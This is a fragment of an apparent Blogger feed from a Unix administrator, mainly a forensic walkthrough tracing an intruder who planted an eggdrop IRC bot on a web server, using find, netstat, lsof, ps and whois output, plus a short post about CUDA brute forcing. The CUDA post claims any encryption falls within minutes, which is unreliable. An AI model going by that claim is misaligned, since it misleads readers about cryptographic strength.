/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/1174537773713562445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=1174537773713562445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1174537773713562445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1174537773713562445'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2010/01/pentoo-another-security-distro.html' title='Pentoo, another security distro'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_p-mKX4dKCSA/S0ID747xkwI/AAAAAAAAAGM/qoE2-cImQgI/s72-c/pentoo2.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-2057949959951947885</id><published>2010-01-03T08:31:00.001-08:00</published><updated>2010-01-03T09:07:50.217-08:00</updated><title type='text'>1st blog of 2010 - CUDA enabled GPGPU</title><content type='html'>this is my 1st blog in 2010 after i stopped blogging for almost half year.&lt;br /&gt;&lt;br /&gt;As we know the brute force attack is required high speed processing power in order to achieve it.&lt;br /&gt;but nowadays brute force attack can be done a normal home use PC. Thanks to NVIDIA who make the CUDA chipset to speed up the calculation of processing speed.&lt;br /&gt;&lt;br /&gt;1 years ago, i dont see many of the CUDA based applications available in internet. With the effort of programmers, they had done some CUDA apps for brute force which is available in BackTrack 4 and Pentoo security distro.&lt;br /&gt;&lt;br /&gt;Recently, ASUS has announced their home made super computer which is powered by CUDA GPGPU. It is very cheap like 200-300 USD per teraflops&lt;br /&gt;&lt;br /&gt;As we can see, more and more CUDA based applications will be available soon. It is good because the calculation speed is speed up and the price is lower down whereas It is bad for people who have evil mindset.&lt;br /&gt;&lt;br /&gt;Nothing to be safe if CUDA really make use in the our life. Any crypto can be decrypt within very few minutes or less.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-2057949959951947885?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/2057949959951947885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=2057949959951947885' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2057949959951947885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2057949959951947885'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2010/01/1st-blog-of-2010-cuda-enabled-gpgpu.html' title='1st blog of 2010 - CUDA enabled GPGPU'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-1497709132285637125</id><published>2009-06-09T08:55:00.001-07:00</published><updated>2010-01-03T08:31:05.799-08:00</updated><title type='text'>server compromised - finding the intruder</title><content type='html'>Today received a call from someone who told me his customer server has been compromised which setup by me since almost 1 year ago.&lt;br /&gt;&lt;br /&gt;Ask my favor to do some checking.&lt;br /&gt;&lt;br /&gt;according to him, the intruder left 3 files into one of the web directory.&lt;br /&gt;2 is text files and another 1 is an application.&lt;br /&gt;i had check these 2 text files which are harmless code and the application is eggdrop which is IRC Bot application.&lt;br /&gt;&lt;br /&gt;since i know it is eggdrop, i see where the files has been installed.&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;[root@www ~]# find  / -name egg*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/conf/eggdrop.chan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/doc/html/egg-core.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/doc/man1/eggdrop.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/doc/eggdrop.doc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/eggdrop-1.6.6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/logs/eggdrop.log.20090608&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/logs/eggdrop.log.20090606&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/logs/eggdrop.log.20090607&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/var/www/html/crew/libraries/x/logs/eggdrop.log.20090609&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/usr/share/pixmaps/gnobots2/eggs.png&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;/usr/lib/python2.4/site-packages/gtk-2.0/egg&lt;/span&gt;&lt;br /&gt;from the result result i found out the application installed on /var/www/html/crew/libraries/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, see when the application install on the server&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www ~]# ls -la /var/www/html/crew/libraries/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rwxr-xr-x  1 loon loon   16091 Nov  8  2008 unzip.lib.php&lt;br /&gt;-rwxr-xr-x  1 loon loon    6512 Nov  8  2008 url_generating.lib.php&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;drwxr-xr-x 10 loon loon    4096 Jun  9 19:32 x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;-rw-r--r--  1 loon loon 1868180 Jun  6 05:48 x.tar.gz&lt;/span&gt;&lt;br /&gt;-rwxr-xr-x  1 loon loon    6486 Nov  8  2008 zip.lib.php&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;----- --------------- more  ----------------------------------------&lt;/span&gt;&lt;br /&gt;see the line with red color, hints is there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, go further... look at /var/log/html/crew/libraries/x&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www x]# ls -la /var/www/html/crew/libraries/x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;total 2536&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x 10 loon loon    4096 Jun  9 19:32 .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x 11 loon loon    4096 Jun  6 05:48 ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon       0 Jun  9 22:23 av.db&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon   71820 Jun  9 22:12 bs_data.eggdrop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon   71031 Jun  9 22:12 bs_data.eggdrop.bak&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon    4096 Jun  6 05:54 conf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon       0 Aug 18  2006 cs_spam_word.conf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  5 loon loon    4096 Apr  5  2007 doc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon 1163288 Sep  6  2001 eggdrop-1.6.6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  3 loon loon    4096 Apr  5  2007 filesys&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  4 loon loon    4096 Apr  5  2007 help&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon       0 Aug 18  2006 klines&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon    4096 Apr  5  2007 language&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon    4096 Jun  9 00:01 logs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon       5 Jun  6 05:57 pid.eggthrone&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon     465 Aug 18  2006 run&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon    4096 Jun  6 05:49 scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon   14368 Feb 25  2004 shade&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon    4096 Apr  5  2007 text&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rwxrwxrwx  1 loon loon 1163288 Sep  6  2001 x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon    7745 Jun  6 05:49 x3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rwxr-xr-x  1 loon loon   21516 May 30  2007 xh&lt;/span&gt;&lt;br /&gt;see, most of them are 6th Jun 2009, i believe the application runs on that day. Yet, i also believe it is installed on the same day.&lt;br /&gt;&lt;br /&gt;The IRC Bot are runing by both same user and group, loon. Then, i talk to the user and he said he didnt share his account with anyone.&lt;br /&gt;&lt;br /&gt;let's see anyone inside the server or not&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www x]# w&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; 20:03:13 up 167 days, 43 min,  4 users,  load average: 0.00, 0.02, 0.00&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;alex     pts/2    118.100.121.74   17:51    2:10m  0.04s  0.03s sshd: alex [priv]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;loon     pts/3    60.52.19.122     17:54    1:06m  0.02s  0.02s -bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;alex     pts/5    118.100.125.164  19:24   35:32   0.03s  0.01s sshd: alex [priv]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;alex     pts/6    118.100.125.164  19:30    0.00s  0.08s  0.01s sshd: alex [priv]&lt;/span&gt;&lt;br /&gt;shit, someone inside and that user said he didnt login to the server. i believe this is intruder.&lt;br /&gt;&lt;br /&gt;i do whois and see where this IP address came from&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www x]# whois 60.52.19.122&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[Querying whois.apnic.net]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[whois.apnic.net]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% [whois.apnic.net node-2]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;inetnum:      60.48.0.0 -  60.54.255.255&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;netname:      XDSLSTREAMYX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;descr:        Telekom Malaysia Berhad&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;descr:        Network Strategy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;descr:        Wisma Telekom&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;descr:        Jalan Pantai Baru&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;descr:        50672 Kuala Lumpur&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;country:      MY&lt;/span&gt;&lt;br /&gt;from the return result , seems like the user from TMNET users.&lt;br /&gt;&lt;br /&gt;do the netstat to see what connection available now&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www x]# netstat -an|more&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Active Internet connections (servers and established)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Proto Recv-Q Send-Q Local Address               Foreign Address             State&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:804                 0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:6667                0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:44526               0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:10000               0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:25                  0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;tcp        0      0 203.114.11.102:51646        194.14.236.50:6667          ESTABLISHED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 203.114.11.102:55317        202.30.50.120:43            ESTABLISHED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 :::8897                     :::*                        LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;--------------------------- more  ---------------------------------------------------&lt;/span&gt;&lt;br /&gt;see the line with red color, see the port 6667, which is IRC port.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now try whois that IP&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www x]# whois 194.14.236.50&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[Querying whois.ripe.net]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[whois.ripe.net]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% This is the RIPE Whois query server #2.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% The objects are in RPSL format.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;%&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% The RIPE Database is subject to Terms and Conditions.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% See http://www.ripe.net/db/support/db-terms-conditions.pdf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% Note: This output has been filtered.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;%       To receive output for a database update, use the "-B" flag&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;% Information related to '194.14.236.0 - 194.14.236.255'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;inetnum:        194.14.236.0 - 194.14.236.255&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;netname:        DALNET-2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;descr:          DALnet unrouted servers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;remarks:        ################################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;remarks:        If you get scanned by 194.14.236.50 you are NOT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;---------------------------- more ------------------------------------------------&lt;/span&gt;&lt;br /&gt;it is dalnet server.&lt;br /&gt;lol, The intruder must be malaysian because malaysian very very like dalnet IRC.&lt;br /&gt;i'm one of them in N year ago.&lt;br /&gt;&lt;br /&gt;go further to see the port 6667.&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www alex]# lsof -i tcp:6667&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;COMMAND  PID USER   FD   TYPE   DEVICE SIZE NODE NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;x       2709 loon    6u  IPv4 37479003       TCP 203.114.11.102:51646-&gt;pool.dal.net:ircd (ESTABLISHED)&lt;/span&gt;&lt;br /&gt;lsof is coolz..&lt;br /&gt;found out the PID is 2709 and user is loon.&lt;br /&gt;that mean the x is executed by loon and PID is 2709.&lt;br /&gt;application is x&lt;br /&gt;&lt;br /&gt;now use ps command to see the x&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www ~]# ps auxww |grep x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root       409  0.0  0.0      0     0 ?        S&lt;&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;mysql 1006 0.0 1.0 143508 21536 ? Sl Jan08 1:14 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root      1565  0.0  0.0   6744  1772 ?        Ss   Jan08   0:14 /usr/libexec/postfix/master&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;postfix   1568  0.0  0.9  24980 19952 ?        S    Jan08   0:47 qmgr -l -t fifo -u&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root      2308  0.0  0.0   1672   404 ?        Ss    2008   0:00 klogd -x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;loon 2709 0.0 0.2 8032 4152 ? S Jun06 0:01 -bash -m x3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root      7579  0.0  0.0   1900   376 ?        Ss    2008   0:00 gpm -m /dev/input/mice -t exps2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root      7820  0.0  0.0   1752   448 ?        S     2008   0:00 /var/ossec/bin/ossec-execd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;------------------------------------------------ more  ------------------------------------------------&lt;/span&gt;&lt;br /&gt;the process command showed that loon runs X since 6th Jun 2009.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;look at process 2709 by using netstat&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www ~]# netstat -anp |grep 2709&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 0.0.0.0:44526               0.0.0.0:*                   LISTEN      2709/-bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;tcp        0      0 203.114.11.102:51646        194.14.236.50:6667          ESTABLISHED 2709/-bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;udp        0      0 0.0.0.0:54629               0.0.0.0:*                               2709/-bash&lt;/span&gt;&lt;br /&gt;it is listening my tcp and udp port and established my tcp port with port number 51646&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;let see what loon doing now&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www alex]# lsof -u loon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;COMMAND   PID USER   FD   TYPE     DEVICE    SIZE     NODE NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;x        2709 loon  cwd    DIR        9,3    4096 17892533 /var/www/html/crew/libraries/x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;x        2709 loon  rtd    DIR        9,0    4096        2 /&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;x        2709 loon  mem    REG        9,0         11370676 /lib/libnss_files-2.5.so (path inode=11370543)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;x        2709 loon    3u  IPv4   37478934              TCP *:44526 (LISTEN)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sshd 24370 loon 3u IPv6 38236234 TCP 203.114.11.102:8897-&gt;52.60.in-addr.arpa.tm.net.my:newlixreg (ESTABLISHED)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;bash    24371 loon  cwd    DIR        9,3    4096 17860330 /var/www/html/www.aviocall.com/upload&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;bash    24371 loon  255u   CHR      136,3                5 /dev/pts/3&lt;/span&gt;&lt;br /&gt;it is too long. i had cut down most of them, left the important one.&lt;br /&gt;see the red line. see properly.&lt;br /&gt;he using Ipv6 connected to my server ???????????????&lt;br /&gt;and what he want to do over that upload directory?????&lt;br /&gt;&lt;br /&gt;let's see upload directory&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www www.aviocall.com]# ls -la upload/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;total 113672&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  6 loon loon      4096 Jun  9 23:01 .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x 11 loon loon      4096 Jun  9 19:10 ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon      4096 May 30 14:32 files&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon      4096 May 30 14:33 images&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-rw-r--r--  1 loon loon 111723227 Jun  9 12:56 Manual Patch 090609.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-rw-r--r--  1 loon loon   4521984 Jun  9 23:03 Manual Patch 090609.exe.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon      4096 May 30 14:33 pdf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;drwxr-xr-x  2 loon loon      4096 Jun  4 00:41 programs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www www.aviocall.com]# date&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Tue Jun  9 23:03:54 MYT 2009&lt;/span&gt;&lt;br /&gt;look, the time of server and the date of file he modified.&lt;br /&gt;he is doing something. well, i dont mind..&lt;br /&gt;i want to monitor him now.&lt;br /&gt;&lt;br /&gt;see, what he doing..&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;top - 23:05:48 up 167 days,  3:45,  4 users,  load average: 0.01, 0.00, 0.00&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Tasks: 164 total,   2 running, 162 sleeping,   0 stopped,   0 zombie&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Cpu(s):  0.1%us,  0.1%sy,  0.0%ni, 99.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Mem:   2066076k total,  1617796k used,   448280k free,   215712k buffers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Swap:  2096376k total,      120k used,  2096256k free,  1118104k cached&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; 2709 loon      15   0  8032 4188 1196 S  0.0  0.2   0:01.06 x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;10053 loon      15   0  7268 1696 1376 S  0.0  0.1   0:00.09 wget&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;24370 loon      15   0  9892 1664 1112 S  0.0  0.1   0:00.56 sshd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;24371 loon      15   0  4528 1416 1200 S  0.0  0.1   0:00.03 bash&lt;/span&gt;&lt;br /&gt;using wget to get something from somewhere.&lt;br /&gt;&lt;br /&gt;see what he get from wget&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[root@www ~]# ps -afed|grep wget&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;loon     10053 24371  0 23:01 pts/3    00:00:00 wget http://bayou.asiasoft.net/CABAL/pds/Manual%20Patch%20090609.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;root     10371 10342  0 23:13 pts/8    00:00:00 grep wget&lt;/span&gt;&lt;br /&gt;download CABAL online game's thingy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-1497709132285637125?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/1497709132285637125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=1497709132285637125' title='1 Comments'/><link rel='edit' type='application/atom+xml' 